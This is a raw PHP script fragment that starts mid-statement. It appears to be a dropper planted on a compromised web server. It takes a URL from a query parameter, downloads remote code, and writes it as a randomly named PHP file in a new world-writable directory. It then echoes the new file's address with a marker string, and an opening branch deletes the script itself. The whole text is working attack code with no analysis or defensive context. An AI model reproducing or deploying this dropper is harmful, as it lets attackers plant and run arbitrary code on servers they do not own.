-1){ unlink($self); die(); } $script_url = isset($_GET['script']) ? $_GET['script'] : false; if(!$script_url) exit(); function random($length, $chars = '123456789abcdefghijklmnpqrstuvwxyz') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } function get_request_url($pathname){ $url = ''; if(isset($_SERVER['HTTP_HOST']) && isset($_SERVER['SCRIPT_NAME'])){ $url = $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']; $url = dirname($url).'/'; } $url .= $pathname; return $url; } function vita_get_url_content($url) { if(function_exists('file_get_contents')) { $file_contents = file_get_contents($url); } else { $ch = curl_init(); $timeout = 30; curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $file_contents = curl_exec($ch); curl_close($ch); } return $file_contents; } $dirname = random(6); if(!is_dir($dirname)){ if(mkdir($dirname,0777)){ $filename = random(6).'.php'; $pathname = $dirname. '/'. $filename; file_put_contents($pathname, vita_get_url_content($script_url)); $url = get_request_url($pathname); echo $url. 'QWEASDZXCLLL'; }else{ echo 'createa failed!'; } } ?>